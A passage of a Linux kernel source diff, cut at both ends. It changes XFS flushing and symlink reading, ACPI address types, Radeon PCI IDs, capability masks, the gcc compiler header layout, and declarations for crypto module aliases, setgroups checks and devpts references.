!= first_index) { - spin_unlock(&ip->i_flags_lock); + spin_unlock(&iq->i_flags_lock); continue; } - spin_unlock(&ip->i_flags_lock); + spin_unlock(&iq->i_flags_lock); /* * Do an un-protected check to see if the inode is dirty and @@ -2724,7 +2727,7 @@ xfs_iflush( struct xfs_buf **bpp) { struct xfs_mount *mp = ip->i_mount; - struct xfs_buf *bp; + struct xfs_buf *bp = NULL; struct xfs_dinode *dip; int error; @@ -2766,14 +2769,22 @@ xfs_iflush( } /* - * Get the buffer containing the on-disk inode. + * Get the buffer containing the on-disk inode. We are doing a try-lock + * operation here, so we may get an EAGAIN error. In that case, we + * simply want to return with the inode still dirty. + * + * If we get any other error, we effectively have a corruption situation + * and we cannot flush the inode, so we treat it the same as failing + * xfs_iflush_int(). */ error = xfs_imap_to_bp(mp, NULL, &ip->i_imap, &dip, &bp, XBF_TRYLOCK, 0); - if (error || !bp) { + if (error == EAGAIN) { xfs_ifunlock(ip); return error; } + if (error) + goto corrupt_out; /* * First flush out the inode that xfs_iflush was called with. @@ -2801,7 +2812,8 @@ xfs_iflush( return 0; corrupt_out: - xfs_buf_relse(bp); + if (bp) + xfs_buf_relse(bp); xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); cluster_corrupt_out: error = XFS_ERROR(EFSCORRUPTED); diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index b75c9bb6e71e3..29d1ca567ed33 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -935,6 +935,12 @@ xfs_qm_dqiter_bufs( if (error) break; + /* + * A corrupt buffer might not have a verifier attached, so + * make sure we have the correct one attached before writeback + * occurs. + */ + bp->b_ops = &xfs_dquot_buf_ops; xfs_qm_reset_dqcounts(mp, bp, firstid, type); xfs_buf_delwri_queue(bp, buffer_list); xfs_buf_relse(bp); @@ -1018,7 +1024,7 @@ xfs_qm_dqiterate( xfs_buf_readahead(mp->m_ddev_targp, XFS_FSB_TO_DADDR(mp, rablkno), mp->m_quotainfo->qi_dqchunklen, - NULL); + &xfs_dquot_buf_ops); rablkno++; } } diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 195a403e1522b..61dbe1958a30f 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -272,7 +272,7 @@ xfs_readlink_bmap( cur_chunk += sizeof(struct xfs_dsymlink_hdr); } - memcpy(link + offset, bp->b_addr, byte_cnt); + memcpy(link + offset, cur_chunk, byte_cnt); pathlen -= byte_cnt; offset += byte_cnt; diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 2fd7c1ff1d21d..b5d5beb7df3ae 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -1100,6 +1100,7 @@ xfs_trans_apply_sb_deltas( whole = 1; } + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); if (whole) /* * Log the whole thing, the fields are noncontiguous. diff --git a/include/acpi/acpixf.h b/include/acpi/acpixf.h index 454881e6450a4..fcabb1597d5b0 100644 --- a/include/acpi/acpixf.h +++ b/include/acpi/acpixf.h @@ -177,7 +177,7 @@ acpi_status acpi_load_tables(void); */ acpi_status acpi_reallocate_root_table(void); -acpi_status acpi_find_root_pointer(acpi_size *rsdp_address); +acpi_status acpi_find_root_pointer(acpi_physical_address *rsdp_address); acpi_status acpi_unload_table_id(acpi_owner_id id); diff --git a/include/acpi/actypes.h b/include/acpi/actypes.h index a64adcc29ae5b..4407354c7d6a3 100644 --- a/include/acpi/actypes.h +++ b/include/acpi/actypes.h @@ -198,9 +198,29 @@ typedef int INT32; typedef s32 acpi_native_int; typedef u32 acpi_size; + +#ifdef ACPI_32BIT_PHYSICAL_ADDRESS + +/* + * OSPMs can define this to shrink the size of the structures for 32-bit + * none PAE environment. ASL compiler may always define this to generate + * 32-bit OSPM compliant tables. + */ typedef u32 acpi_io_address; typedef u32 acpi_physical_address; +#else /* ACPI_32BIT_PHYSICAL_ADDRESS */ + +/* + * It is reported that, after some calculations, the physical addresses can + * wrap over the 32-bit boundary on 32-bit PAE environment. + * https://bugzilla.kernel.org/show_bug.cgi?id=87971 + */ +typedef u64 acpi_io_address; +typedef u64 acpi_physical_address; + +#endif /* ACPI_32BIT_PHYSICAL_ADDRESS */ + #define ACPI_MAX_PTR ACPI_UINT32_MAX #define ACPI_SIZE_MAX ACPI_UINT32_MAX @@ -491,6 +511,7 @@ typedef u64 acpi_integer; #define ACPI_NO_ACPI_ENABLE 0x10 #define ACPI_NO_DEVICE_INIT 0x20 #define ACPI_NO_OBJECT_INIT 0x40 +#define ACPI_NO_FACS_INIT 0x80 /* * Initialization state diff --git a/include/acpi/platform/acenv.h b/include/acpi/platform/acenv.h index ef04b36ca6ed7..f7db107abb043 100644 --- a/include/acpi/platform/acenv.h +++ b/include/acpi/platform/acenv.h @@ -76,6 +76,7 @@ #define ACPI_LARGE_NAMESPACE_NODE #define ACPI_DATA_TABLE_DISASSEMBLY #define ACPI_SINGLE_THREADED +#define ACPI_32BIT_PHYSICAL_ADDRESS #endif /* acpi_exec configuration. Multithreaded with full AML debugger */ diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h index c1a1216e29ced..87b27263f5e2c 100644 --- a/include/asm-generic/sections.h +++ b/include/asm-generic/sections.h @@ -3,6 +3,8 @@ /* References to section boundaries */ +#include + extern char _text[], _stext[], _etext[]; extern char _data[], _sdata[], _edata[]; extern char __bss_start[], __bss_stop[]; @@ -18,6 +20,8 @@ extern char __start_rodata[], __end_rodata[]; /* Start and end of .ctors section - used for constructor calls. */ extern char __ctors_start[], __ctors_end[]; +extern __visible const void __nosave_begin, __nosave_end; + /* function descriptor handling (if any). Override * in asm/sections.h */ #ifndef dereference_function_descriptor diff --git a/include/drm/drm_pciids.h b/include/drm/drm_pciids.h index ecaef57f9f6cb..2b5c3bc3b0814 100644 --- a/include/drm/drm_pciids.h +++ b/include/drm/drm_pciids.h @@ -52,7 +52,6 @@ {0x1002, 0x4C64, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \ {0x1002, 0x4C66, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \ {0x1002, 0x4C67, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV250|RADEON_IS_MOBILITY}, \ - {0x1002, 0x4C6E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280|RADEON_IS_MOBILITY}, \ {0x1002, 0x4E44, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \ {0x1002, 0x4E45, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \ {0x1002, 0x4E46, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R300}, \ @@ -143,11 +142,15 @@ {0x1002, 0x6601, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6602, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6603, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6604, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6605, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6606, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6607, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6608, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6610, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6611, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6613, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x6617, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6620, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6621, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6623, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ @@ -256,6 +259,7 @@ {0x1002, 0x6829, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \ {0x1002, 0x682A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x682B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ + {0x1002, 0x682C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \ {0x1002, 0x682D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x682F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ {0x1002, 0x6830, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \ diff --git a/include/linux/ata.h b/include/linux/ata.h index ee0bd95240553..f60ffe29b3a14 100644 --- a/include/linux/ata.h +++ b/include/linux/ata.h @@ -477,8 +477,8 @@ enum ata_tf_protocols { }; enum ata_ioctls { - ATA_IOC_GET_IO32 = 0x309, - ATA_IOC_SET_IO32 = 0x324, + ATA_IOC_GET_IO32 = 0x309, /* HDIO_GET_32BIT */ + ATA_IOC_SET_IO32 = 0x324, /* HDIO_SET_32BIT */ }; /* core structures */ diff --git a/include/linux/blk_types.h b/include/linux/blk_types.h index 229f532eb0706..bea871cd9d1bb 100644 --- a/include/linux/blk_types.h +++ b/include/linux/blk_types.h @@ -184,7 +184,9 @@ enum rq_flag_bits { __REQ_ELVPRIV, /* elevator private data attached */ __REQ_FAILED, /* set if the request failed */ __REQ_QUIET, /* don't worry about errors */ - __REQ_PREEMPT, /* set for "ide_preempt" requests */ + __REQ_PREEMPT, /* set for "ide_preempt" requests and also + for requests for which the SCSI "quiesce" + state must be ignored. */ __REQ_ALLOCED, /* request came from our alloc pool */ __REQ_COPY_USER, /* contains copies of user pages */ __REQ_FLUSH_SEQ, /* request for flush sequence */ diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h index a3160b537eabd..c68b8f9928c8f 100644 --- a/include/linux/blkdev.h +++ b/include/linux/blkdev.h @@ -1195,10 +1195,9 @@ static inline int queue_alignment_offset(struct request_queue *q) static inline int queue_limit_alignment_offset(struct queue_limits *lim, sector_t sector) { unsigned int granularity = max(lim->physical_block_size, lim->io_min); - unsigned int alignment = (sector << 9) & (granularity - 1); + unsigned int alignment = sector_div(sector, granularity >> 9) << 9; - return (granularity + lim->alignment_offset - alignment) - & (granularity - 1); + return (granularity + lim->alignment_offset - alignment) % granularity; } static inline int bdev_alignment_offset(struct block_device *bdev) diff --git a/include/linux/capability.h b/include/linux/capability.h index 15f90929fb51b..9b4378af414cd 100644 --- a/include/linux/capability.h +++ b/include/linux/capability.h @@ -78,8 +78,11 @@ extern const kernel_cap_t __cap_init_eff_set; # error Fix up hand-coded capability macro initializers #else /* HAND-CODED capability initializers */ +#define CAP_LAST_U32 ((_KERNEL_CAPABILITY_U32S) - 1) +#define CAP_LAST_U32_VALID_MASK (CAP_TO_MASK(CAP_LAST_CAP + 1) -1) + # define CAP_EMPTY_SET ((kernel_cap_t){{ 0, 0 }}) -# define CAP_FULL_SET ((kernel_cap_t){{ ~0, ~0 }}) +# define CAP_FULL_SET ((kernel_cap_t){{ ~0, CAP_LAST_U32_VALID_MASK }}) # define CAP_FS_SET ((kernel_cap_t){{ CAP_FS_MASK_B0 \ | CAP_TO_MASK(CAP_LINUX_IMMUTABLE), \ CAP_FS_MASK_B1 } }) diff --git a/include/linux/ceph/decode.h b/include/linux/ceph/decode.h index 0442c3d800f0f..a6ef9cc267ec2 100644 --- a/include/linux/ceph/decode.h +++ b/include/linux/ceph/decode.h @@ -8,23 +8,6 @@ #include -/* This seemed to be the easiest place to define these */ - -#define U8_MAX ((u8)(~0U)) -#define U16_MAX ((u16)(~0U)) -#define U32_MAX ((u32)(~0U)) -#define U64_MAX ((u64)(~0ULL)) - -#define S8_MAX ((s8)(U8_MAX >> 1)) -#define S16_MAX ((s16)(U16_MAX >> 1)) -#define S32_MAX ((s32)(U32_MAX >> 1)) -#define S64_MAX ((s64)(U64_MAX >> 1LL)) - -#define S8_MIN ((s8)(-S8_MAX - 1)) -#define S16_MIN ((s16)(-S16_MAX - 1)) -#define S32_MIN ((s32)(-S32_MAX - 1)) -#define S64_MIN ((s64)(-S64_MAX - 1LL)) - /* * in all cases, * void **p pointer to position pointer diff --git a/include/linux/ceph/messenger.h b/include/linux/ceph/messenger.h index 7c1420bb1dcef..6ade97de7a850 100644 --- a/include/linux/ceph/messenger.h +++ b/include/linux/ceph/messenger.h @@ -157,7 +157,7 @@ struct ceph_msg { bool front_is_vmalloc; bool more_to_follow; bool needs_out_seq; - int front_max; + int front_alloc_len; unsigned long ack_stamp; /* tx: when we were acked */ struct ceph_msgpool *pool; diff --git a/include/linux/clocksource.h b/include/linux/clocksource.h index 151753b4cc8bd..d77f8c16f51fa 100644 --- a/include/linux/clocksource.h +++ b/include/linux/clocksource.h @@ -285,7 +285,7 @@ extern struct clocksource* clocksource_get_next(void); extern void clocksource_change_rating(struct clocksource *cs, int rating); extern void clocksource_suspend(void); extern void clocksource_resume(void); -extern struct clocksource * __init __weak clocksource_default_clock(void); +extern struct clocksource * __init clocksource_default_clock(void); extern void clocksource_mark_unstable(struct clocksource *cs); extern u64 diff --git a/include/linux/compiler-gcc.h b/include/linux/compiler-gcc.h index 24545cd90a252..953cd12175c42 100644 --- a/include/linux/compiler-gcc.h +++ b/include/linux/compiler-gcc.h @@ -37,6 +37,9 @@ __asm__ ("" : "=r"(__ptr) : "0"(ptr)); \ (typeof(ptr)) (__ptr + (off)); }) +/* Make the optimizer believe the variable can be manipulated arbitrarily. */ +#define OPTIMIZER_HIDE_VAR(var) __asm__ ("" : "=r" (var) : "0" (var)) + #ifdef __CHECKER__ #define __must_be_array(arr) 0 #else @@ -97,10 +100,116 @@ #define __maybe_unused __attribute__((unused)) #define __always_unused __attribute__((unused)) -#define __gcc_header(x) #x -#define _gcc_header(x) __gcc_header(linux/compiler-gcc##x.h) -#define gcc_header(x) _gcc_header(x) -#include gcc_header(__GNUC__) +/* gcc version specific checks */ + +#if GCC_VERSION < 30200 +# error Sorry, your compiler is too old - please upgrade it. +#endif + +#if GCC_VERSION < 30300 +# define __used __attribute__((__unused__)) +#else +# define __used __attribute__((__used__)) +#endif + +#ifdef CONFIG_GCOV_KERNEL +# if GCC_VERSION < 30400 +# error "GCOV profiling support for gcc versions below 3.4 not included" +# endif /* __GNUC_MINOR__ */ +#endif /* CONFIG_GCOV_KERNEL */ + +#if GCC_VERSION >= 30400 +#define __must_check __attribute__((warn_unused_result)) +#endif + +#if GCC_VERSION >= 40000 + +/* GCC 4.1.[01] miscompiles __weak */ +#ifdef __KERNEL__ +# if GCC_VERSION >= 40100 && GCC_VERSION <= 40101 +# error Your version of gcc miscompiles the __weak directive +# endif +#endif + +#define __used __attribute__((__used__)) +#define __compiler_offsetof(a, b) \ + __builtin_offsetof(a, b) + +#if GCC_VERSION >= 40100 && GCC_VERSION < 40600 +# define __compiletime_object_size(obj) __builtin_object_size(obj, 0) +#endif + +#if GCC_VERSION >= 40300 +/* Mark functions as cold. gcc will assume any path leading to a call + * to them will be unlikely. This means a lot of manual unlikely()s + * are unnecessary now for any paths leading to the usual suspects + * like BUG(), printk(), panic() etc. [but let's keep them for now for + * older compilers] + * + * Early snapshots of gcc 4.3 don't support this and we can't detect this + * in the preprocessor, but we can live with this because they're unreleased. + * Maketime probing would be overkill here. + * + * gcc also has a __attribute__((__hot__)) to move hot functions into + * a special section, but I don't see any sense in this right now in + * the kernel context + */ +#define __cold __attribute__((__cold__)) + +#define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __COUNTER__) + +#ifndef __CHECKER__ +# define __compiletime_warning(message) __attribute__((warning(message))) +# define __compiletime_error(message) __attribute__((error(message))) +#endif /* __CHECKER__ */ +#endif /* GCC_VERSION >= 40300 */ + +#if GCC_VERSION >= 40500 +/* + * Mark a position in code as unreachable. This can be used to + * suppress control flow warnings after asm blocks that transfer + * control elsewhere. + * + * Early snapshots of gcc 4.5 don't support this and we can't detect + * this in the preprocessor, but we can live with this because they're + * unreleased. Really, we need to have autoconf for the kernel. + */ +#define unreachable() __builtin_unreachable() + +/* Mark a function definition as prohibited from being cloned. */ +#define __noclone __attribute__((__noclone__, __optimize__("no-tracer"))) + +#endif /* GCC_VERSION >= 40500 */ + +#if GCC_VERSION >= 40600 +/* + * Tell the optimizer that something else uses this function or variable. + */ +#define __visible __attribute__((externally_visible)) +#endif + +/* + * GCC 'asm goto' miscompiles certain code sequences: + * + * http://gcc.gnu.org/bugzilla/show_bug.cgi?id=58670 + * + * Work it around via a compiler barrier quirk suggested by Jakub Jelinek. + * + * (asm goto is automatically volatile - the naming reflects this.) + */ +#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0) + +#ifdef CONFIG_ARCH_USE_BUILTIN_BSWAP +#if GCC_VERSION >= 40400 +#define __HAVE_BUILTIN_BSWAP32__ +#define __HAVE_BUILTIN_BSWAP64__ +#endif +#if GCC_VERSION >= 40800 || (defined(__powerpc__) && GCC_VERSION >= 40600) +#define __HAVE_BUILTIN_BSWAP16__ +#endif +#endif /* CONFIG_ARCH_USE_BUILTIN_BSWAP */ + +#endif /* gcc version >= 40000 specific checks */ #if !defined(__noclone) #define __noclone /* not needed */ diff --git a/include/linux/compiler-gcc3.h b/include/linux/compiler-gcc3.h deleted file mode 100644 index 7d89febe4d793..0000000000000 --- a/include/linux/compiler-gcc3.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef __LINUX_COMPILER_H -#error "Please don't include directly, include instead." -#endif - -#if GCC_VERSION < 30200 -# error Sorry, your compiler is too old - please upgrade it. -#endif - -#if GCC_VERSION >= 30300 -# define __used __attribute__((__used__)) -#else -# define __used __attribute__((__unused__)) -#endif - -#if GCC_VERSION >= 30400 -#define __must_check __attribute__((warn_unused_result)) -#endif - -#ifdef CONFIG_GCOV_KERNEL -# if GCC_VERSION < 30400 -# error "GCOV profiling support for gcc versions below 3.4 not included" -# endif /* __GNUC_MINOR__ */ -#endif /* CONFIG_GCOV_KERNEL */ diff --git a/include/linux/compiler-gcc4.h b/include/linux/compiler-gcc4.h deleted file mode 100644 index 2507fd2a1eb4f..0000000000000 --- a/include/linux/compiler-gcc4.h +++ /dev/null @@ -1,88 +0,0 @@ -#ifndef __LINUX_COMPILER_H -#error "Please don't include directly, include instead." -#endif - -/* GCC 4.1.[01] miscompiles __weak */ -#ifdef __KERNEL__ -# if GCC_VERSION >= 40100 && GCC_VERSION <= 40101 -# error Your version of gcc miscompiles the __weak directive -# endif -#endif - -#define __used __attribute__((__used__)) -#define __must_check __attribute__((warn_unused_result)) -#define __compiler_offsetof(a,b) __builtin_offsetof(a,b) - -#if GCC_VERSION >= 40100 && GCC_VERSION < 40600 -# define __compiletime_object_size(obj) __builtin_object_size(obj, 0) -#endif - -#if GCC_VERSION >= 40300 -/* Mark functions as cold. gcc will assume any path leading to a call - to them will be unlikely. This means a lot of manual unlikely()s - are unnecessary now for any paths leading to the usual suspects - like BUG(), printk(), panic() etc. [but let's keep them for now for - older compilers] - - Early snapshots of gcc 4.3 don't support this and we can't detect this - in the preprocessor, but we can live with this because they're unreleased. - Maketime probing would be overkill here. - - gcc also has a __attribute__((__hot__)) to move hot functions into - a special section, but I don't see any sense in this right now in - the kernel context */ -#define __cold __attribute__((__cold__)) - -#define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __COUNTER__) - -#ifndef __CHECKER__ -# define __compiletime_warning(message) __attribute__((warning(message))) -# define __compiletime_error(message) __attribute__((error(message))) -#endif /* __CHECKER__ */ -#endif /* GCC_VERSION >= 40300 */ - -#if GCC_VERSION >= 40500 -/* - * Mark a position in code as unreachable. This can be used to - * suppress control flow warnings after asm blocks that transfer - * control elsewhere. - * - * Early snapshots of gcc 4.5 don't support this and we can't detect - * this in the preprocessor, but we can live with this because they're - * unreleased. Really, we need to have autoconf for the kernel. - */ -#define unreachable() __builtin_unreachable() - -/* Mark a function definition as prohibited from being cloned. */ -#define __noclone __attribute__((__noclone__)) - -#endif /* GCC_VERSION >= 40500 */ - -#if GCC_VERSION >= 40600 -/* - * Tell the optimizer that something else uses this function or variable. - */ -#define __visible __attribute__((externally_visible)) -#endif - -/* - * GCC 'asm goto' miscompiles certain code sequences: - * - * http://gcc.gnu.org/bugzilla/show_bug.cgi?id=58670 - * - * Work it around via a compiler barrier quirk suggested by Jakub Jelinek. - * Fixed in GCC 4.8.2 and later versions. - * - * (asm goto is automatically volatile - the naming reflects this.) - */ -#define asm_volatile_goto(x...) do { asm goto(x); asm (""); } while (0) - -#ifdef CONFIG_ARCH_USE_BUILTIN_BSWAP -#if GCC_VERSION >= 40400 -#define __HAVE_BUILTIN_BSWAP32__ -#define __HAVE_BUILTIN_BSWAP64__ -#endif -#if GCC_VERSION >= 40800 || (defined(__powerpc__) && GCC_VERSION >= 40600) -#define __HAVE_BUILTIN_BSWAP16__ -#endif -#endif /* CONFIG_ARCH_USE_BUILTIN_BSWAP */ diff --git a/include/linux/compiler-intel.h b/include/linux/compiler-intel.h index dc1bd3dcf11fd..5529c52394219 100644 --- a/include/linux/compiler-intel.h +++ b/include/linux/compiler-intel.h @@ -15,6 +15,7 @@ */ #undef barrier #undef RELOC_HIDE +#undef OPTIMIZER_HIDE_VAR #define barrier() __memory_barrier() @@ -23,6 +24,12 @@ __ptr = (unsigned long) (ptr); \ (typeof(ptr)) (__ptr + (off)); }) +/* This should act as an optimization barrier on var. + * Given that this compiler does not have inline assembly, a compiler barrier + * is the best we can do. + */ +#define OPTIMIZER_HIDE_VAR(var) barrier() + /* Intel ECC compiler doesn't support __builtin_types_compatible_p() */ #define __must_be_array(a) 0 diff --git a/include/linux/compiler.h b/include/linux/compiler.h index fe7a686dfd8dc..6977192bdb595 100644 --- a/include/linux/compiler.h +++ b/include/linux/compiler.h @@ -131,7 +131,7 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); */ #define if(cond, ...) __trace_if( (cond , ## __VA_ARGS__) ) #define __trace_if(cond) \ - if (__builtin_constant_p((cond)) ? !!(cond) : \ + if (__builtin_constant_p(!!(cond)) ? !!(cond) : \ ({ \ int ______r; \ static struct ftrace_branch_data \ @@ -170,6 +170,10 @@ void ftrace_likely_update(struct ftrace_branch_data *f, int val, int expect); (typeof(ptr)) (__ptr + (off)); }) #endif +#ifndef OPTIMIZER_HIDE_VAR +#define OPTIMIZER_HIDE_VAR(var) barrier() +#endif + /* Not-quite-unique ID. */ #ifndef __UNIQUE_ID # define __UNIQUE_ID(prefix) __PASTE(__PASTE(__UNIQUE_ID_, prefix), __LINE__) diff --git a/include/linux/console.h b/include/linux/console.h index 73bab0f58af5c..6877ffc97d8c5 100644 --- a/include/linux/console.h +++ b/include/linux/console.h @@ -153,6 +153,7 @@ extern int console_trylock(void); extern void console_unlock(void); extern void console_conditional_schedule(void); extern void console_unblank(void); +extern void console_flush_on_panic(void); extern struct tty_driver *console_device(int *); extern void console_stop(struct console *); extern void console_start(struct console *); diff --git a/include/linux/cred.h b/include/linux/cred.h index 04421e8253659..6c58dd7cb9ace 100644 --- a/include/linux/cred.h +++ b/include/linux/cred.h @@ -68,6 +68,7 @@ extern void groups_free(struct group_info *); extern int set_current_groups(struct group_info *); extern int set_groups(struct cred *, struct group_info *); extern int groups_search(const struct group_info *, kgid_t); +extern bool may_setgroups(void); /* access the groups "array" with this macro */ #define GROUP_AT(gi, i) \ diff --git a/include/linux/crypto.h b/include/linux/crypto.h index b92eadf92d72a..2b00d92a6e6fc 100644 --- a/include/linux/crypto.h +++ b/include/linux/crypto.h @@ -25,6 +25,19 @@ #include #include +/* + * Autoloaded crypto modules should only use a prefixed name to avoid allowing + * arbitrary modules to be loaded. Loading from userspace may still need the + * unprefixed names, so retains those aliases as well. + * This uses __MODULE_INFO directly instead of MODULE_ALIAS because pre-4.3 + * gcc (e.g. avr32 toolchain) uses __LINE__ for uniqueness, and this macro + * expands twice on the same line. Instead, use a separate base name for the + * alias. + */ +#define MODULE_ALIAS_CRYPTO(name) \ + __MODULE_INFO(alias, alias_userspace, name); \ + __MODULE_INFO(alias, alias_crypto, "crypto-" name) + /* * Algorithm masks and types. */ diff --git a/include/linux/dcache.h b/include/linux/dcache.h index 9be5ac960fd89..c1999d1fe6f8d 100644 --- a/include/linux/dcache.h +++ b/include/linux/dcache.h @@ -120,15 +120,15 @@ struct dentry { void *d_fsdata; /* fs-specific data */ struct list_head d_lru; /* LRU list */ + struct list_head d_child; /* child of parent list */ + struct list_head d_subdirs; /* our children */ /* - * d_child and d_rcu can share memory + * d_alias and d_rcu can share memory */ union { - struct list_head d_child; /* child of parent list */ + struct hlist_node d_alias; /* inode alias list */ struct rcu_head d_rcu; } d_u; - struct list_head d_subdirs; /* our children */ - struct hlist_node d_alias; /* inode alias list */ }; /* diff --git a/include/linux/devpts_fs.h b/include/linux/devpts_fs.h index 251a2090a5544..e0ee0b3000b2d 100644 --- a/include/linux/devpts_fs.h +++ b/include/linux/devpts_fs.h @@ -19,6 +19,8 @@ int devpts_new_index(struct inode *ptmx_inode); void devpts_kill_index(struct inode *ptmx_inode, int idx); +void devpts_add_ref(struct inode *ptmx_inode); +void devpts_del_ref(struct inode *ptmx_inode); /* mknod in devpts */ struct inode *devpts_pty_new(struct inode *ptmx_inode, dev_t device, int index, void *priv); @@ -32,6 +34,8 @@ void devpts_pty_kill(struct inode *inode); /* Dummy stubs in the no-pty case */ static inline int devpts_new_index(struct inode *ptmx_inode) { return -EINVAL; } static inline void devpts_kill_index(struct inode *ptmx_inode, int idx) { } +static inline void devpts_add_ref(struct inode *ptmx_inode) { } +static inline void devpts_del_ref(struct inode *ptmx_inode) { } static inline struct inode *devpts_pty_new(struct inode *ptmx_inode, dev_t device, int index, void *priv) { diff --git a/include/linux/efi.h b/include/linux/efi.h index 33b940ec76416..222c6a8e68abf 100644 --- a/include/linux/efi.h +++ b/include/linux/efi.h @@ -811,8 +811,10 @@ struct efivars { * and we use a page for reading/writing. */ +#define EFI_VAR_NAME_LEN 1024 + struct efi_variable { - efi_char16_t VariableName[1024/sizeof(efi_char16_t)]; + efi_char16_t VariableName[EFI_VAR_NAME_LEN/sizeof(efi_char16_t)]; efi_guid_t VendorGuid; unsigned long DataSize; __u8 Data[1024]; @@ -881,7 +883,10 @@ int efivar_entry_iter(int (*func)(struct efivar_entry *, void *), struct efivar_entry *efivar_entry_find(efi_char16_t *name, efi_guid_t guid, struct list_head *head, bool remove); -bool efivar_validate(struct efi_variable *var, u8 *data, unsigned long len); +bool efivar_validate(efi_guid_t vendor, efi_char16_t *var_name, u8 *data, + unsigned long data_size); +bool efivar_variable_is_removable(efi_guid_t vendor, const char *name, + size_t len); extern struct work_struct efivar_work; void efivar_run_worker(void); diff --git a/include/linux/enclosure.h b/include/linux/enclosure.h index 9a33c5f7e1265..f6c229e2bffaf 100644 --- a/include/linux/enclosure.h +++ b/include/linux/enclosure.h @@ -29,7 +29,11 @@ /* A few generic types ... taken from ses-2 */ enum enclosure_component_type { ENCLOSURE_COMPONENT_DEVICE = 0x01, + ENCLOSURE_COMPONENT_CONTROLLER_ELECTRONICS = 0x07, + ENCLOSURE_COMPONENT_SCSI_TARGET_PORT = 0x14, + ENCLOSURE_COMPONENT_SCSI_INITIATOR_PORT = 0x15, ENCLOSURE_COMPONENT_ARRAY_DEVICE = 0x17, + ENCLOSURE_COMPONENT_SAS_EXPANDER = 0x18, }; /* ses-2 common element status */ diff --git a/include/linux/fs.h b/include/linux/fs.h index 7a3b87931fa5c..d358dd06c28cf 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -10,6 +10,7 @@ #include #include #include +#include #include #include #include @@ -762,12 +763,8 @@ static inline int ra_has_index(struct file_ra_state *ra, pgoff_t index) #define FILE_MNT_WRITE_RELEASED 2 struct file { - /* - * fu_list becomes 